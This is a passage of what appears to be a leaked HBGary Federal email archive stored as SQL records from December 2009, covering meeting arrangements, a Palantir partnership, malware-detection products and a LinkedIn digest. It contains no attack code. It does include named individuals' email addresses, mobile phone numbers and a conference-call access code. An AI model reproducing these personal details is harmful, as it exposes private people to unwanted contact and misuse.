Once they get access they can download a locally loaded version of Palantir called a QuickStart.&nbsp; They will be able to import their data through a few simple steps outlined on the DevZone website. &nbsp;Hopefully they can put together a compelling demo path, if needed, I can be available for suggestions on the workflow.&nbsp;Penny – do you think you could get Geoff access to a trail version of your Digital DNA product (and anything else he might need)? &nbsp;He can evaluate it in the context of a potential partnership.&nbsp;&nbsp;Aaron – whenever you want to discuss federal business opportunities Im game.&nbsp; I think that teaming on proposals is a no brainer for work in the cyber domain as our two product lines are incredibly complementary.&nbsp;&nbsp;Best regards,Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13220,'aaron_hbgary_com/13220.html'),(576,'2009-12-10','rich@hbgary.com','/aaron@hbgary.com/new/1296999919.M647931P3547Q577.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Hi Aaron -','Good man.  Cookies sound much better.  Talk with you soon.RichSent from my Verizon Wireless BlackBerryFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Thu, 10 Dec 2009 13:35:49 -0500To: Rich Cummings&lt;rich@hbgary.com&gt;Subject: Re: Hi Aaron -Hey Rich,I went to the class yesterday but then had some pursuit things I had to do today so missed the 2nd day. &nbsp;I would love to make dinner but am not going to be able to, promised kids we would make cookies tonight. &nbsp;If something changes I will let you know. &nbsp;I will also give you a call in a bit so we can chat.AaronOn Dec 10, 2009, at 12:16 PM, Rich Cummings wrote:Hi Aaron,&nbsp;I heard you’re in the class down in DC.&nbsp; Can you do dinner tonight at Morton’s in Reston Town Center at 7:30?&nbsp; &nbsp;I’m arranging a dinner for all HBGary personnel that live here or are here for the training. &nbsp;&nbsp;It should be about 6 of us.&nbsp;I hope to see you there if not then I’m available all day to chat on the phone, just give me a call on my cell (703-999-5012).&nbsp; &nbsp;I’m getting caught up in the office for the rest of the day with paper and work and some software testing.&nbsp;Mortons AddressReston&nbsp;Town&nbsp;Center11956 Market StreetReston, VA 20190Phone: 703-796-0128&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, December 09, 2009 6:17 PMTo:&nbsp;Rich CummingsSubject:&nbsp;Re: Hi Aaron -&nbsp;Hey Rich,&nbsp;How about tomorrow? &nbsp;We can do phone or in person. &nbsp;Where are u and whats your schedule?&nbsp;Aaron&nbsp;&nbsp;On Dec 9, 2009, at 11:09 AM, Rich Cummings wrote:Hi Aaron,&nbsp;I hope this finds you well.&nbsp; I’m sorry we haven’t spoken yet but I’m sure you know by now how fast we’re all moving around here.&nbsp; Do you have any time to get together either on the phone or in person today/tomorrow/Friday?&nbsp; I’ll be in Reston today having lunch until about 2PM and could meet up afterwards.&nbsp;Thanks very much.&nbsp; I look forward to meeting you soon.&nbsp;Best,Rich&nbsp;Rich Cummings | CTO | HBGary, Inc.Office 301-652-8885 x112Cell Phone 703-999-5012Website:&nbsp;&nbsp;www.hbgary.com&nbsp;|email:&nbsp;rich@hbgary.com&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',9599,'aaron_hbgary_com/9599.html'),(577,'2009-12-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999919.M857768P3547Q578.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: When do you want to talk about rstrat','---------- Forwarded message ----------From: Masterson, Brian (Xetron) &lt;Brian.Masterson@ngc.com&gt;\r\nDate: Thu, Dec 10, 2009 at 2:54 AMSubject: RE: When do you want to talk about rstratTo: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAbsolutely.  Who are they?  I have not heard of the org name that\r\nyou have mentioned.  I have 12-1 and 330-430 open today.\r\n\r\n \r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3543 \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Wednesday, December 09, 2009 6:07 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: When do you want to talk about rstrat\r\n\r\n\r\n\r\n \r\n\r\nHow bout tomorrow?\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI&#39;m putting together a capabilities briefing for them,\r\ntailored to what they are interested in.  Do you have a generic Xetron\r\ncapabilities brief I can include?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\nOn Wed, Dec 9, 2009 at 2:53 PM, Masterson, Brian (Xetron)\r\n&lt;Brian.Masterson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n',1635,'aaron_hbgary_com/1635.html'),(578,'2009-12-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999919.M96194P3547Q575.eml','\"Nieves, Alexander\" <Alexander.Nieves@ManTech.com>','Re: Discussion','How is your next Friday?  I am open.\r\n\r\nAaron\r\n\r\n\r\nOn Dec 10, 2009, at 5:59 AM, Nieves, Alexander wrote:\r\n\r\n> Aaron this is week has turned into an appt nightmare. I will have to\r\n> look at another date. Next week is pretty busy also it\'s the week we\r\n> spend on strategy and operations reviews. Let me look at what might be\r\n> open for next week maybe during lunch. Shoot me a couple of dates\r\n> between 1100-1300 time frame for next week. thanks\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, December 08, 2009 12:54 PM\r\n> To: Nieves, Alexander\r\n> Subject: Re: Discussion\r\n> \r\n> How does Friday look Alex?  If it\'s no good I can meet with you maybe\r\n> late next week to go over things and we can catch Greg his next trip\r\n> out.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Dec 7, 2009, at 10:12 AM, \"Nieves, Alexander\"\r\n> > wrote:\r\n> \r\n>> Aaron im trying to move some appts around so we can meet so let me see\r\n>> what I can do for this week?\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, December 02, 2009 2:25 AM\r\n>> To: Nieves, Alexander\r\n>> Subject: Discussion\r\n>> \r\n>> Hi Alex,\r\n>> \r\n>> I was wondering if you would be interested in getting together next\r\n>> week\r\n>> to talk about my new role, what we might be able to do together and\r\n>> get\r\n>> a brief on the latest HBGary and Mantech capabilities?  Greg Hoglund\r\n>> will be in town and of course does the best job conveying the\r\n>> technologies (I\'ll get there).  Not sure how familiar you are with\r\n>> their\r\n>> tools, but the one I am most excited about is their Digital DNA, it\r\n>> does\r\n>> behavior/characteristic identification of malware based on HBGarys\r\n>> Malware genome database.  So far its 75% successful at detecting all\r\n>> malware we throw at it, as the genome database gets larger that should\r\n>> get better, but already pretty good.\r\n>> \r\n>> Another idea I am starting to form is a combined capability that I\r\n>> think\r\n>> can push the rock a little on Attribution.  I am not sure if you are\r\n>> familiar with Palantir.  Their main focus in link analysis, and their\r\n>> tool is best in class.  I want to combine Palantirs capability for\r\n>> externals analysis with HBGarys capability for malware binary analysis\r\n>> and fingerprinting and start doing some long term analysis and\r\n>> correlation of attacks.  I think this approach could push the\r\n>> Attribution rock forward a little.\r\n>> \r\n>> I know you guys are in the \"forensics\" space but would really like to\r\n>> talk about what that really means, also share where we are going and\r\n>> see\r\n>> where we might be able to help each other.\r\n>> \r\n>> If you noticed the time of the email.  3rd night in a row I have woken\r\n>> up in the middle of the night and can\'t sleep because my mind is\r\n>> racing.\r\n>> Its nice to be excited about work, but I need some sleep.\r\n>> \r\n>> Aaron\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16322,'aaron_hbgary_com/16322.html'),(579,'2009-12-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999920.M133093P3547Q579.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','GDAIS','Bob called and said we have a telecon scheduled with Ben Wilson next Monday.  Penny thought it would be better that we meet face-to-face.  I&#39;m not sure if this has been firmed up or not.  Bob&#39;s telecon meeting was scheduled for:\r\nGDAIS Santa Clara10amMondayWe should contact Ben to firm things upBen&#39;s number is 650-464-5401ben.wilson@gd-ais.com\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',14743,'aaron_hbgary_com/14743.html'),(580,'2009-12-10','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1296999920.M411945P3547Q580.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 12/10/2009','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn Network Updates\r\n    Dec 3 - Dec 10\r\n  \r\n  \r\n    FEATURED UPDATES\r\n    See more updates &#187;\r\n  \r\n  \r\n    \r\n\r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n                   George Hull has an updated profile (Experience)\r\n\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Joseph Nicholas\r\nis now connected to\r\n            Scott Cowen\r\n,             Dr. Paul Nemirovsky\r\n             and \r\n            Darla Hill\r\n             \r\n              \r\n            \r\n            \r\n              \r\n\r\n  Mark Leary\r\nis now connected to\r\n            Henry Garcia\r\n             and \r\n            Mark Foley\r\n             \r\n              \r\n            \r\n            \r\n              \r\n\r\n  Stu Shea\r\nis now connected to\r\n            Robert Bailey\r\n,             Brenda Brown\r\n,             Acie Vickers\r\n,       and 5 other people.\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    STATUS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Michael Toth\r\n      New exploration book:  &quot;Kansas to Kenya: An Uncommon Road for Wine Lovers&quot; by Bob Schreiner -- our global &amp; professional paths have crossed.\r\n  Add a comment &#187;\r\n  \r\n              \r\n            \r\n            \r\n              \r\n\r\n  angela fugate\r\n      is attending the International Builder\'s Show in Las Vegas...if anyone is interested in going along give me a call!\r\n  Add a comment &#187;\r\n  \r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Stu Shea has joined\r\n    HungryGrape.com\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Michael Toth has joined\r\n    Trinity Prep Alumni\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    EVENTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    angela fugate\r\n                  \r\n                     will be attending \r\n                  \r\n                    IBS - International Builders\' Show 2010\r\n                  \r\n                     on January 19, 2010 \r\n                  \r\n                    RSVP\r\n                   \r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    APPLICATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    Ted Vera\r\n                  \r\n                     is now using LinkedIn for iPhone.  \r\n                  \r\n                    Learn more &#187;\r\n                   \r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n    \r\n  \r\n  \r\n      \r\n      See more updates &#187;\r\n    \r\n  \r\n  \r\n    \r\n\r\n\r\n  \r\n    \r\n      \r\n      \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2009, LinkedIn Corporation\r\n    \r\n  \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n',4814,'aaron_hbgary_com/4814.html'),(581,'2009-12-10','\"John Edwards\" <John.Edwards@agilex.com>','/aaron@hbgary.com/new/1296999920.M645479P3547Q581.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nHow about a conference call.&nbsp; My afternoon was just blitzed.\r\n\r\nYou can use the following:\r\n\r\n888-311-8177\r\n\r\nCode 7038893939\r\n\r\n&nbsp;\r\n\r\nDoes 4:30 work?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, December 10, 2009 1:25 PM\r\nTo: John Edwards\r\nSubject: Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI am in Mclean. &nbsp;What time? Do you want to meet out\r\nthis way or more out your way?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 10, 2009, at 12:57 PM, John Edwards wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow about later this afternoon.&nbsp; Where are you guys going\r\nto be for most of the day?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, December\r\n10, 2009 7:54 AM\r\nTo:&nbsp;John Edwards\r\nCc:&nbsp;Penny Leavy\r\nSubject:&nbsp;Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHey John,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI hadn\'t heard back yet about possibly a Friday morning.\r\n&nbsp;I can do today as well and possibly later Friday afternoon. &nbsp;I have\r\na set of meetings that stacked up on Friday that I really have to get behind me\r\nfor some upcoming recompete work, the only meeting I could push would be one\r\nwith Orbital in the later afternoon.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat do you think?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 9, 2009, at 6:16 PM, John Edwards wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat about lunch on Friday?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron\r\nBarr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, December\r\n08, 2009 9:01 AM\r\nTo:&nbsp;John Edwards\r\nSubject:&nbsp;Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi John,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry for delay, I started last\r\nweek in a full sprint. &nbsp;Are you still available today or Friday? &nbsp;I\r\nam meeting Greg and Penny at 930, I think thats it for me for the day but have\r\nto double check with Penny. &nbsp;I would definitely still like to get together\r\nthis week if you available.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 3, 2009, at 8:48 AM, John\r\nEdwards wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m good Tuesday until 1630 and anytime on Friday.&nbsp;\r\nLet me know what works for you.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron\r\nBarr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, December\r\n03, 2009 7:29 AM\r\nTo:&nbsp;John Edwards\r\nSubject:&nbsp;Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGregs in town next week. &nbsp;Do\r\nyou have something set up with him already or should I set something, or does\r\nGreg need to be there?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEither way, Tuesday afternoon\r\nworks, also Friday works. &nbsp;Either of those days good for you?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 1, 2009, at 11:45 AM, John\r\nEdwards wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis week is crazy &#8211; some large proposals.&nbsp; How about\r\nnext week.&nbsp; What is your schedule for next week?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron\r\nBarr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, December\r\n01, 2009 8:36 AM\r\nTo:&nbsp;John Edwards\r\nSubject:&nbsp;Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi John,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you want to try and link up\r\nthis week or wait until next week when Greg gets into town?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Nov 25, 2009, at 4:02 PM, Penny\r\nHoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi John,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;d like to introduce you to Aaron Barr, CEO of HBGary\r\nFederal.&nbsp; Aaron just joined HBGary Federal from Northrup Grumman and has a\r\nlot of experience with your old employer.&nbsp; He has his clearance as does\r\nhis President Ted Vera.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs I told you Greg will be out week of December 7th&nbsp;so perhaps we could all meet\r\nthen.&nbsp; Please feel free to communicate prior to that as well\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15063,'aaron_hbgary_com/15063.html'),(582,'2009-12-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999920.M836184P3547Q582.eml','\"John Edwards\" <John.Edwards@agilex.com>','Re: Introduction','yepOn Dec 10, 2009, at 4:20 PM, John Edwards wrote:Aaron,How about a conference call.&nbsp; My afternoon was just blitzed.You can use the following:888-311-8177Code 7038893939&nbsp;Does 4:30 work?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, December 10, 2009 1:25 PMTo:&nbsp;John EdwardsSubject:&nbsp;Re: Introduction&nbsp;I am in Mclean. &nbsp;What time? Do you want to meet out this way or more out your way?&nbsp;Aaron&nbsp;&nbsp;On Dec 10, 2009, at 12:57 PM, John Edwards wrote:How about later this afternoon.&nbsp; Where are you guys going to be for most of the day?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, December 10, 2009 7:54 AMTo:&nbsp;John EdwardsCc:&nbsp;Penny LeavySubject:&nbsp;Re: Introduction&nbsp;Hey John,&nbsp;I hadn\'t heard back yet about possibly a Friday morning. &nbsp;I can do today as well and possibly later Friday afternoon. &nbsp;I have a set of meetings that stacked up on Friday that I really have to get behind me for some upcoming recompete work, the only meeting I could push would be one with Orbital in the later afternoon.&nbsp;What do you think?&nbsp;Aaron&nbsp;On Dec 9, 2009, at 6:16 PM, John Edwards wrote:What about lunch on Friday?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, December 08, 2009 9:01 AMTo:&nbsp;John EdwardsSubject:&nbsp;Re: Introduction&nbsp;Hi John,&nbsp;Sorry for delay, I started last week in a full sprint. &nbsp;Are you still available today or Friday? &nbsp;I am meeting Greg and Penny at 930, I think thats it for me for the day but have to double check with Penny. &nbsp;I would definitely still like to get together this week if you available.&nbsp;Aaron&nbsp;&nbsp;On Dec 3, 2009, at 8:48 AM, John Edwards wrote:Aaron,I’m good Tuesday until 1630 and anytime on Friday.&nbsp; Let me know what works for you.&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, December 03, 2009 7:29 AMTo:&nbsp;John EdwardsSubject:&nbsp;Re: Introduction&nbsp;Gregs in town next week. &nbsp;Do you have something set up with him already or should I set something, or does Greg need to be there?&nbsp;Either way, Tuesday afternoon works, also Friday works. &nbsp;Either of those days good for you?&nbsp;Aaron&nbsp;&nbsp;On Dec 1, 2009, at 11:45 AM, John Edwards wrote:Aaron,This week is crazy – some large proposals.&nbsp; How about next week.&nbsp; What is your schedule for next week?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, December 01, 2009 8:36 AMTo:&nbsp;John EdwardsSubject:&nbsp;Re: Introduction&nbsp;Hi John,&nbsp;Do you want to try and link up this week or wait until next week when Greg gets into town?&nbsp;Aaron&nbsp;&nbsp;On 